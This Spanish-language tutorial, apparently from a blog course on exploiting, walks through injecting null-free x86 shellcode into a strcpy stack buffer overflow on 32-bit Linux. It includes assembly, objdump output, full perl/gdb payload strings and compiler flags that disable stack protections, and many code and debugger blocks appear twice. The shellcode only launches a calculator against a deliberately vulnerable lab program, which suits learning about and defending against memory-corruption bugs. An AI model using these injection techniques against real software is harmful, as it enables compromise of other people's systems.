Es bastante jodido intentar meterse en el mundo del exploiting por cuenta propia con toda esa cantidad de protecciones usándose a la vez, y ese es precisamente uno de los principales motivos por los que estoy haciendo este curso y cómo lo estoy enfocando. Intento ir desde cómo se explotaban los programas hace años e intentaré llegar a cómo se explotan actualmente (dentro de los límites de lo que yo mismo conozco... espero que escribir esto me anime a seguir aprendiendo).
Volviendo al curso, en la última entrega hicimos algo muy simple, ejecutar una función que ya estaba en el código. Evidentemente esto no suele ser lo normal, no solemos disponer de lo que queremos ejecutar en el código de los programas. Es muy típico entre los exploiters más reconocidos del mundo hacer que sus exploits de demostración ejecuten la calculadora de Windows (cuando explotan sobre Windows claro). Ya nos estaremos imaginando que esto no es algo que lleven los programas metidos dentro, sino que de alguna forma el exploiter logra hacer que el programa explotado haga eso. Esto se consigue inyectando el código que hace ejecutar la calculadora dentro del proceso y luego llamando a ese código. ¿Y cómo se hace esto? Eso es lo que vamos a tratar en esta entrada.
Recordemos en qué punto estamos.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buffer[128];
if (argc != 2)
printf("Usage: %s <param>\n", argv[0]), exit(-1);
strcpy(buffer, argv[1]);
return 0;
}
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char *argv[]) {
char buffer[128];
if (argc != 2)
printf("Usage: %s <param>\n", argv[0]), exit(-1);
strcpy(buffer, argv[1]);
return 0;
}
Tenemos el bof de libro y sabemos que a partir del byte 141 empezaremos a sobreescribir la dirección de retorno (y si no nos acordamos pues lo miramos un momentito con el gdb y listo). Hasta ahora habíamos metido un montón de Aes hasta llegar a la dirección de retorno, pero esto cambia aquí. Ahora lo que vamos a hacer es inyectar en ese espacio el código necesario para ejecutar la calculadora y luego saltaremos ahí. Esto básicamente en la inyección de código.
¿Qué necesitamos? Bueno, pues el código que ejecute la calculadora. ¿Qué hace falta para ejecutar un programa? la llamada al sistema que lo permite, en nuestro caso es sys_execve. Nuevo grado de dificultad, ahora hay que empezar a conocer las syscalls y cómo llamarlas. Generalmente no llamamos a estas funciones directamente, sino que llamamos a funciones de bibliotecas que hacen de interfaz entre nuestros programas y el sistema. Bueno pues vamos a dejar de hacer eso por un momento y vamos a crear código que trata con el kernel directamente. Esto lo hacemos así debido a que, como vamos a inyectar ese código en otro proceso, no sabemos que bibliotecas usa y por lo tanto no podemos depender de ellas... aunque en un futuro veremos que no siempre es cierto, pero de momento vamos a trabajar así.
Para tratar con estas cosas necesitamos conocer las llamadas al sistema que nos ofrece Linux, aquí teneis una lista con las más importantes, aunque los parámetros que ahí se describen no siempre son correctos. De hecho para este primer ejemplo nos puede confundir. La llamada al sistema que necesitamos es sys_execve (la que ejecuta programas), en esa página pone que tiene un único parámetro de tipo struct pt_regs. Si nos vamos a Linux cross reference, en mi opinión, muy buena para ver el código fuente de Linux y buscamos la función sys_execve() para la versión de kernel que estoy ejecutando.
$ uname -r
3.2.0-29-generic-pae
Veremos lo siguiente.
306long sys_execve(const char __user *name, 307 const char __user *const __user *argv, 308 const char __user *const __user *envp, struct pt_regs *regs) 309{
Tiene 3 parámetros antes del struct pt_regs, la ruta del programa a ejecutar, los parámetros del mismo y el entorno. Vamos a ir conociendo qué debemos pasarle.
$ whereis gcalccmd
gcalccmd: /usr/bin/gcalccmd /usr/bin/X11/gcalccmd /usr/share/man/man1/gcalccmd.1.gz
gcalccmd: /usr/bin/gcalccmd /usr/bin/X11/gcalccmd /usr/share/man/man1/gcalccmd.1.gz
El binario del programa está en /usr/bin/gcalccmd. He elegido este y no gcalctool (la versión gráfica) porque voy a hacer el ejemplo lo más sencillo posible, así que a la hora de ejecutar no pasaré entorno y eso dará problemas con la versión gráfica, así que me quedo con la de consola. Empecemos pues con el programa (en ensamblador :D) que ejecuta la calculadora.
.globl main
main:
/*
* No sabemos la dirección de la string del final,
* lo rellenamos con 0xff y luego miraremos dónde cae.
*/
movl $0xffffffff, %ebx
/* argv, envp y regs == NULL. */
xorl %ecx, %ecx
xorl %edx, %edx
xorl %esi, %esi
/* Hacemos la llamada a sys_execve. */
movb $0xb, %al
int $0x80
.string "/usr/bin/gcalccmd"
Aquí tenemos un ejemplo de programa en ensamblador (sintaxis AT&T) que nos sirve como esqueleto para ejecutar la calculadora. Analicémoslo un poco. Lo primero que hacemos es poner en el registro ebx el número 0xffffffff. Ebx debe contener la dirección de la string con el nombre del programa, esta string la estamos hardcodeando al final, pero dado que todo esto va a estar dentro del buffer que vamos a explotar ¡aun no sabemos la dirección exacta donde cae!. Adelanto que luego lo miraremos con el gdb. Luego se ponen a 0 los registros ecx, edx y esi (los otros 3 parámetros de sys_execve), recordemos que la operación XOR de un número consigo mismo da como resultado 0 siempre. Al final preparamos la llamada al sistema. Debido a como funcionan las llamadas al sistema en Linux (no lo explicaré aquí porque sería irse por derroteros complicados), en eax va el número de llamada al sistema a ejecutar, en nuestro caso la 11 (0xb) que es sys_execve, y la instrucción int 0x80 la ejecuta.
Esto así está muy bien, pero lo que nosotros necesitamos son los bytes que encodean ese código para meterlo en el buffer a explotar. Aquí entra en juego objdump, ¿recuerdas cómo desambla? :D.
$ gcc -o calcode calcode.s
$ objdump -d calcode | egrep -A 10 "<main>"
080483b4 <main>:
80483b4: bb ff ff ff ff mov $0xffffffff,%ebx
80483b9: 31 c9 xor %ecx,%ecx
80483bb: 31 d2 xor %edx,%edx
80483bd: 31 f6 xor %esi,%esi
80483bf: b0 0b mov $0xb,%al
80483c1: cd 80 int $0x80
80483c3: 2f das
80483c4: 75 73 jne 8048439 <__libc_csu_init+0x59>
80483c6: 72 2f jb 80483f7 <__libc_csu_init+0x17>
80483c8: 62 69 6e bound %ebp,0x6e(%ecx)
080483b4 <main>:
80483b4: bb ff ff ff ff mov $0xffffffff,%ebx
80483b9: 31 c9 xor %ecx,%ecx
80483bb: 31 d2 xor %edx,%edx
80483bd: 31 f6 xor %esi,%esi
80483bf: b0 0b mov $0xb,%al
80483c1: cd 80 int $0x80
80483c3: 2f das
80483c4: 75 73 jne 8048439 <__libc_csu_init+0x59>
80483c6: 72 2f jb 80483f7 <__libc_csu_init+0x17>
80483c8: 62 69 6e bound %ebp,0x6e(%ecx)
Aquí tenemos los bytes que codifican las instrucciones que necesitamos :D. Una duda que nos puede surgir aquí es ¿wtf son las instrucciones esas después de la int, la das, jne, etc? Seguro que ya lo sabes, esas instrucciones son las que interpreta objdump a partir de los bytes 0x2f, 0x75, 0x73 que hay ahí... y que en ASCII son los caracteres '/', 'u', 's'... lo has visto ya, ¿no?. "/usr/bin/gcalccmd" ;).
Ojo aquí, podemos pensar que ya podemos sustituir el 0xffffffff de ebx con la dirección 0x08483c3, que es donde empieza la string "/usr...", pero no es así. Esa dirección es donde está la string dentro del ELF que acabamos de compilar, pero no es ahí donde va a estar el código. Repito, estos bytes los inyectaremos ahora en el programa vulnerable dentro del buffer a explotar, y eso estará en otras posiciones de memoria.
Vamos ahora a hacer la explotación, inyección y ejecución del código. Vamos a verlo desde dentro del gdb y de poco en poco.
$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: and $0xfffffff0,%esp
0x0804844a <+6>: sub $0x90,%esp
0x08048450 <+12>: cmpl $0x2,0x8(%ebp)
0x08048454 <+16>: je 0x8048478 <main+52>
0x08048456 <+18>: mov 0xc(%ebp),%eax
0x08048459 <+21>: mov (%eax),%edx
0x0804845b <+23>: mov $0x8048570,%eax
0x08048460 <+28>: mov %edx,0x4(%esp)
0x08048464 <+32>: mov %eax,(%esp)
0x08048467 <+35>: call 0x8048340 <printf@plt>
0x0804846c <+40>: movl $0xffffffff,(%esp)
0x08048473 <+47>: call 0x8048370 <exit@plt>
0x08048478 <+52>: mov 0xc(%ebp),%eax
0x0804847b <+55>: add $0x4,%eax
0x0804847e <+58>: mov (%eax),%eax
0x08048480 <+60>: mov %eax,0x4(%esp)
0x08048484 <+64>: lea 0x10(%esp),%eax
0x08048488 <+68>: mov %eax,(%esp)
0x0804848b <+71>: call 0x8048350 <strcpy@plt>
0x08048490 <+76>: mov $0x0,%eax
0x08048495 <+81>: leave
0x08048496 <+82>: ret
End of assembler dump.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`
Starting program: /path/bof `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`
Breakpoint 1, 0x0804848b in main ()
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x08048444 <+0>: push %ebp
0x08048445 <+1>: mov %esp,%ebp
0x08048447 <+3>: and $0xfffffff0,%esp
0x0804844a <+6>: sub $0x90,%esp
0x08048450 <+12>: cmpl $0x2,0x8(%ebp)
0x08048454 <+16>: je 0x8048478 <main+52>
0x08048456 <+18>: mov 0xc(%ebp),%eax
0x08048459 <+21>: mov (%eax),%edx
0x0804845b <+23>: mov $0x8048570,%eax
0x08048460 <+28>: mov %edx,0x4(%esp)
0x08048464 <+32>: mov %eax,(%esp)
0x08048467 <+35>: call 0x8048340 <printf@plt>
0x0804846c <+40>: movl $0xffffffff,(%esp)
0x08048473 <+47>: call 0x8048370 <exit@plt>
0x08048478 <+52>: mov 0xc(%ebp),%eax
0x0804847b <+55>: add $0x4,%eax
0x0804847e <+58>: mov (%eax),%eax
0x08048480 <+60>: mov %eax,0x4(%esp)
0x08048484 <+64>: lea 0x10(%esp),%eax
0x08048488 <+68>: mov %eax,(%esp)
0x0804848b <+71>: call 0x8048350 <strcpy@plt>
0x08048490 <+76>: mov $0x0,%eax
0x08048495 <+81>: leave
0x08048496 <+82>: ret
End of assembler dump.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`
Starting program: /path/bof `perl -e 'print "\xbb\xff\xff\xff\xff\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\xee\xee\xee\xee"'`
Breakpoint 1, 0x0804848b in main ()
Sí, escribir ese chorro de bytes ha resultado un coñazo. Ya mostraré más adelante truquillos para no perder tanto tiempo, pero hay que hacerlo una primera vez para ver lo que estamos haciendo. Dado que necesitamos 140 bytes antes de empezar a sobreescribir la dirección de retorno (la cuál ahora mismo no sabemos cual es así que he puesto 0xeeeeeeee), y que el código que queremos ejecutar ocupa sólo 33 bytes (incluyendo string) pues he rellenado con 107 Aes. He parado el programa justo antes del strcpy() para ver las direcciones que tenemos que cambiar.
(gdb) x/40xw $esp
0xbffff280: 0xbffff290 0xbffff560 0x00000001 0xb7ebc1f9
0xbffff290: 0xbffff2cf 0xbffff2ce 0x00000000 0xb7ff3fdc
0xbffff2a0: 0xbffff354 0x00000000 0x00000000 0xb7e59053
0xbffff2b0: 0x08048278 0x00000000 0x2cb43049 0x00000001
0xbffff2c0: 0xbffff539 0x0000002f 0xbffff31c 0xb7fc6ff4
0xbffff2d0: 0x080484a0 0x08049ff4 0x00000002 0x0804831d
0xbffff2e0: 0xb7fc73e4 0x0000000a 0x08049ff4 0x080484c1
0xbffff2f0: 0xffffffff 0xb7e591a6 0xb7fc6ff4 0xb7e59235
0xbffff300: 0xb7fed270 0x00000000 0x080484a9 0xb7fc6ff4
0xbffff310: 0x080484a0 0x00000000 0x00000000 0xb7e3f4d3
0xbffff280: 0xbffff290 0xbffff560 0x00000001 0xb7ebc1f9
0xbffff290: 0xbffff2cf 0xbffff2ce 0x00000000 0xb7ff3fdc
0xbffff2a0: 0xbffff354 0x00000000 0x00000000 0xb7e59053
0xbffff2b0: 0x08048278 0x00000000 0x2cb43049 0x00000001
0xbffff2c0: 0xbffff539 0x0000002f 0xbffff31c 0xb7fc6ff4
0xbffff2d0: 0x080484a0 0x08049ff4 0x00000002 0x0804831d
0xbffff2e0: 0xb7fc73e4 0x0000000a 0x08049ff4 0x080484c1
0xbffff2f0: 0xffffffff 0xb7e591a6 0xb7fc6ff4 0xb7e59235
0xbffff300: 0xb7fed270 0x00000000 0x080484a9 0xb7fc6ff4
0xbffff310: 0x080484a0 0x00000000 0x00000000 0xb7e3f4d3
El buffer se encuentra en la dirección 0xbffff290, ahí es donde se inyectará nuestro código. Es ahora cuando calculamos en dónde va a caer "/usr/bin/gcalccmd", esta string tiene 15 bytes de desplazamiento con respecto al primer byte de nuestro código, así que caerá en 0xbffff290 + 0xf = 0xbffff29f. Ya tenemos las dos direcciones que nos hacen falta, la de la string y la de comienzo del código, volvamos a ejecutar el programa cambiando esos valores.
(gdb) run `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /path/bof `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`
Breakpoint 1, 0x0804848b in main ()
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /path/bof `perl -e 'print "\xbb\x9f\xf2\xff\xbf\x31\xc9\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64\x00" . "A"x107 . "\x90\xf2\xff\xbf"'`
Breakpoint 1, 0x0804848b in main ()
Ojo con el orden de los bytes, recuerda que estamos en x86 que es little endian. Lo vimos en la entrada anterior.
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280: 0xbffff290 0xbffff560 0x00000001 0xb7ebc1f9
0xbffff290: 0xfff29fbb 0x31c931bf 0xb0f631d2 0x2f80cd0b
0xbffff2a0: 0x2f727375 0x2f6e6962 0x6c616367 0x646d6363
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x90414141 0x00bffff2
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280: 0xbffff290 0xbffff560 0x00000001 0xb7ebc1f9
0xbffff290: 0xfff29fbb 0x31c931bf 0xb0f631d2 0x2f80cd0b
0xbffff2a0: 0x2f727375 0x2f6e6962 0x6c616367 0x646d6363
0xbffff2b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x90414141 0x00bffff2
Aquí ya se ha realizado el strcpy(), y sin necesidad de seguir ejecutando deberíamos darnos cuenta de que la ejecución no va a funcionar. La dirección de retorno ha sido modificada por 0x00bffff2 y no por 0xbffff290 como queríamos. El siguiente paso más lógico sería pensar que soy un paquete y no se restar bien, lo cual no deja de ser cierto, pero no es eso lo que está pasando. Lo que de verdad nos está ocurriendo es que perl se nos está comiendo un byte (y con razón, que conste). Cuando hemos ejecutado el comando estamos haciendo concatenaciones de strings (operador '.'), la primera string (que contiene el código y "/usr/bin..." todo seguido) termina en '\x00', caracter terminador de strings y que a la hora de concatenar será pisado por el primer caracter de la siguiente string, una 'A'. Fijémonos justo donde empiezan a haber Aes (byte 0x41) y veremos que efectivamente no aparece el byte 0x00, está resaltado en violeta.
Podemos pensar en meter 108 Aes para conseguir un byte más y que así la dirección de retorno sea la que queremos, pero esto tampoco nos vale. Es cierto que así conseguiríamos saltar al código y empezar a ejecutarlo, pero entonces la string que le pasaríamos a sys_exeve no sería "/usr/bin/gcalccmd" sino "/usr/bin/gcalccmd<108 Aes><4 bytes de basura>". Sobra decir que no tenemos un binario llamado así.
Aquí tenemos dos soluciones (que se me ocurran), una es crear un enlace simbólico a gcalccmd con el nombre extraño que hemos descrito. Sobra decir que esta solución es feísima y poco práctica, pero sobre todo feísima. La otra solución es meter en nuestro código lógica adicional para que nos ponga un byte 0x00 justo donde queremos. Mucho más elegante. Volvamos entonces a nuestro pequeño programa en ensamblador y modifiquémoslo para este cometido.
.globl main
main:
/* Poner un nulo al final de la string. */
movb $0x00, (0xdddddddd)
/*
* No sabemos la direccion de la string del final,
* lo rellenamos con 0xff y luego miraremos donde cae.
*/
movl $0xffffffff, %ebx
/* argv, envp y regs == NULL. */
xorl %ecx, %ecx
xorl %edx, %edx
xorl %esi, %esi
/* Hacemos la llamada a sys_execve. */
movb $0xb, %al
int $0x80
.string "/usr/bin/gcalccmd"
main:
/* Poner un nulo al final de la string. */
movb $0x00, (0xdddddddd)
/*
* No sabemos la direccion de la string del final,
* lo rellenamos con 0xff y luego miraremos donde cae.
*/
movl $0xffffffff, %ebx
/* argv, envp y regs == NULL. */
xorl %ecx, %ecx
xorl %edx, %edx
xorl %esi, %esi
/* Hacemos la llamada a sys_execve. */
movb $0xb, %al
int $0x80
.string "/usr/bin/gcalccmd"
Ya lo tenemos, simplemente ponemos un 0 en la zona de memoria apuntada por 0xdddddddd, que luego cambiaremos por la dirección de verdad. Volvemos a mirar con objdump los bytes de nuestro código.
$ gcc -o calcode calcode.s
$ objdump -d calcode | egrep -A 20 "<main>"
080483b4 <main>:
80483b4: c6 05 dd dd dd dd 00 movb $0x0,0xdddddddd
80483bb: bb ff ff ff ff mov $0xffffffff,%ebx
80483c0: 31 c9 xor %ecx,%ecx
80483c2: 31 d2 xor %edx,%edx
80483c4: 31 f6 xor %esi,%esi
80483c6: b0 0b mov $0xb,%al
80483c8: cd 80 int $0x80
80483ca: 2f das
80483cb: 75 73 jne 8048440 <__libc_csu_init+0x60>
80483cd: 72 2f jb 80483fe <__libc_csu_init+0x1e>
80483cf: 62 69 6e bound %ebp,0x6e(%ecx)
80483d2: 2f das
80483d3: 67 63 61 6c arpl %sp,0x6c(%bx,%di)
80483d7: 63 63 6d arpl %sp,0x6d(%ebx)
80483da: 64 00 90 90 90 90 90 add %dl,%fs:-0x6f6f6f70(%eax)
080483b4 <main>:
80483b4: c6 05 dd dd dd dd 00 movb $0x0,0xdddddddd
80483bb: bb ff ff ff ff mov $0xffffffff,%ebx
80483c0: 31 c9 xor %ecx,%ecx
80483c2: 31 d2 xor %edx,%edx
80483c4: 31 f6 xor %esi,%esi
80483c6: b0 0b mov $0xb,%al
80483c8: cd 80 int $0x80
80483ca: 2f das
80483cb: 75 73 jne 8048440 <__libc_csu_init+0x60>
80483cd: 72 2f jb 80483fe <__libc_csu_init+0x1e>
80483cf: 62 69 6e bound %ebp,0x6e(%ecx)
80483d2: 2f das
80483d3: 67 63 61 6c arpl %sp,0x6c(%bx,%di)
80483d7: 63 63 6d arpl %sp,0x6d(%ebx)
80483da: 64 00 90 90 90 90 90 add %dl,%fs:-0x6f6f6f70(%eax)
Y ahora volvemos al gdb, escribimos el chorizaco con perl y ejecutamos, ¿no?. ¡Pues no! ¿No ves que tenemos el mismo problema de antes?, la nueva instrucción que hemos metido tiene un byte 0x00 en sí misma (debido al literal $0x0 que usa) con lo cual perl volvería a hacernos lo mismo que antes y esta vez se estropearía todo porque ahí acabaría el byte 0xbb de la siguiente instrucción, con lo que se partiría la instrucción y a saber que se acabaría ejecutando. ¿Vas viendo a dónde estoy llegando?. No podemos utilizar el byte 0x00 en nuestro código, y no sólo porque perl al concatenar se lo coma (eso podemos evitarlo), sino porque la función que vamos a explotar es strcpy(), esta función sólo copia hasta que encuentra el byte de terminación de la string, es decir el byte 0x00. Este es el gran motivo de por qué los programas que inyectamos deben evitar usar el byte 0x00, porque entonces no se pueden inyectar con el strcpy().
Tenemos que buscar entonces una forma de conseguir poner donde queremos un byte 0x00 pero que el código no use bytes 0x00. Lo cierto es que me lo había callado, pero ya he aplicado esta técnica en este mismo código. Cuando lo empezamos a escribir comenté que ecx, edx y esi iban a apuntar a NULL. NULL no es más que una macro para 0x00000000 y la forma en que puse a 0 estos registros fue mediante una operación XOR con ellos mismos. Seguro que muchos pensaron en hacer "movl $0x0, %ecx", pero lo cierto es que eso introduciría caracteres nulos, sin embargo como podemos observar, con instrucciones xor no ocurre ;). Volvamos a dar una vuelta de tuerca más al código.
.globl main
main:
/* Poner un nulo al final de la string... sin usar nulos ;). */
xorl %ecx, %ecx
movb %cl, (0xdddddddd)
/*
* No sabemos la direccion de la string del final,
* lo rellenamos con 0xff y luego miraremos donde cae.
*/
movl $0xffffffff, %ebx
/* argv, envp y regs == NULL. */
xorl %edx, %edx
xorl %esi, %esi
/* Hacemos la llamada a sys_execve. */
movb $0xb, %al
int $0x80
.string "/usr/bin/gcalccmd"
$ gcc -o calcode calcode.s
$ objdump -d calcode | egrep -A 20 "<main>"080483b4 <main>:
80483b4: 31 c9 xor %ecx,%ecx
80483b6: 88 0d dd dd dd dd mov %cl,0xdddddddd
80483bc: bb ff ff ff ff mov $0xffffffff,%ebx
80483c1: 31 d2 xor %edx,%edx
80483c3: 31 f6 xor %esi,%esi
80483c5: b0 0b mov $0xb,%al
80483c7: cd 80 int $0x80
80483c9: 2f das
80483ca: 75 73 jne 804843f <__libc_csu_init+0x5f>
80483cc: 72 2f jb 80483fd <__libc_csu_init+0x1d>
80483ce: 62 69 6e bound %ebp,0x6e(%ecx)
80483d1: 2f das
80483d2: 67 63 61 6c arpl %sp,0x6c(%bx,%di)
80483d6: 63 63 6d arpl %sp,0x6d(%ebx)
80483d9: 64 00 90 90 90 90 90 add %dl,%fs:-0x6f6f6f70(%eax)
Y ahora sí, ya no tenemos ningún byte nulo en nuestro código. Vayamos al gdb, miremos las direcciones donde se va a ejecutar, cambiemos las 3 que debemos y probemos.
$ gdb -q bof
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xdd\xdd\xdd\xdd\xbb\xff\xff\xff\xff\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\xee\xee\xee\xee"'`
Reading symbols from /path/bof...(no debugging symbols found)...done.
(gdb) br *main+71
Breakpoint 1 at 0x804848b
(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xdd\xdd\xdd\xdd\xbb\xff\xff\xff\xff\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\xee\xee\xee\xee"'`
Breakpoint 1, 0x0804848b in main ()
Nótese que la cantidad de bytes que ocupa el código ha crecido y por lo tanto hacen falta menos Aes para rellenar.
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280: 0xbffff290 0xbffff55f 0x00000001 0xb7ebc1f9
0xbffff290: 0x0d88c931 0xdddddddd 0xffffffbb 0x31d231ff
0xbffff2a0: 0xcd0bb0f6 0x73752f80 0x69622f72 0x63672f6e
0xbffff2b0: 0x63636c61 0x4141646d 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0xeeeeeeee
Podemos apreciar que ahora la sobreescritura de la dirección de retorno es correcta, a falta de poner la verdadera dirección. Calculamos las 3 direcciones que necesitamos y volvemos a ejecutar sustituyendo los bytes necesarios.
(gdb) run `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /path/bof `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280: 0xbffff290 0xbffff55f 0x00000001 0xb7ebc1f9
0xbffff290: 0x0d88c931 0xbffff2b6 0xfff2a5bb 0x31d231bf
0xbffff2a0: 0xcd0bb0f6 0x73752f80 0x69622f72 0x63672f6e
0xbffff2b0: 0x63636c61 0x4141646d 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0xbffff290
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /path/bof `perl -e 'print "\x31\xc9\x88\x0d\xb6\xf2\xff\xbf\xbb\xa5\xf2\xff\xbf\x31\xd2\x31\xf6\xb0\x0b\xcd\x80\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x67\x63\x61\x6c\x63\x63\x6d\x64" . "A"x102 . "\x90\xf2\xff\xbf"'`
Breakpoint 1, 0x0804848b in main ()
(gdb) nexti
0x08048490 in main ()
(gdb) x/40xw $esp
0xbffff280: 0xbffff290 0xbffff55f 0x00000001 0xb7ebc1f9
0xbffff290: 0x0d88c931 0xbffff2b6 0xfff2a5bb 0x31d231bf
0xbffff2a0: 0xcd0bb0f6 0x73752f80 0x69622f72 0x63672f6e
0xbffff2b0: 0x63636c61 0x4141646d 0x41414141 0x41414141
0xbffff2c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2d0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2e0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff2f0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff300: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff310: 0x41414141 0x41414141 0x41414141 0xbffff290
Vemos que efectivamente se ha sobreescrito la dirección de retorno con la dirección de comienzo del buffer... donde se encuentra nuestro código inyectado }:-). Continuemos.
(gdb) cont
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff290 in ?? ()
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xbffff290 in ?? ()
¡ZAS, EN TODA LA BOCA!. Tómate un momento de relax si lo necesitas, aquí tienes unos puntos suspensivos para acompañar ..........., bueno ya esta bien de descanso. ¿Qué ha pasado aquí? Bueno, pues que nos hemos topado con otra de las protecciones contra la explotación de estas vulnerabilidades, exec-shield, bit nx, dep, w^x o como quieran llamarlo. Se trata de impedir la ejecución de código en zonas con permisos de escritura. Estamos inyectando este código dentro de la pila y por tanto estamos incurriendo en un acceso a memoria ilegal. Ya trataremos en otra entrada cómo saltarse esta protección, ahora lo que haremos será desactivarla ;)... o más bien activar la ejecución en la pila.
Al crear el ELF, automáticamente se le pide a la sección GNU_STACK que no tenga permisos de ejecución.
$ readelf -a bof | egrep "GNU_STACK"
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
Nótese que sólo tiene permisos de lectura y escritura. Lo que haremos será compilar pidiendo esos permisos.
$ gcc -fno-stack-protector -zexecstack -o bof bof.c
$ readelf -a bof | egrep "GNU_STACK"GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
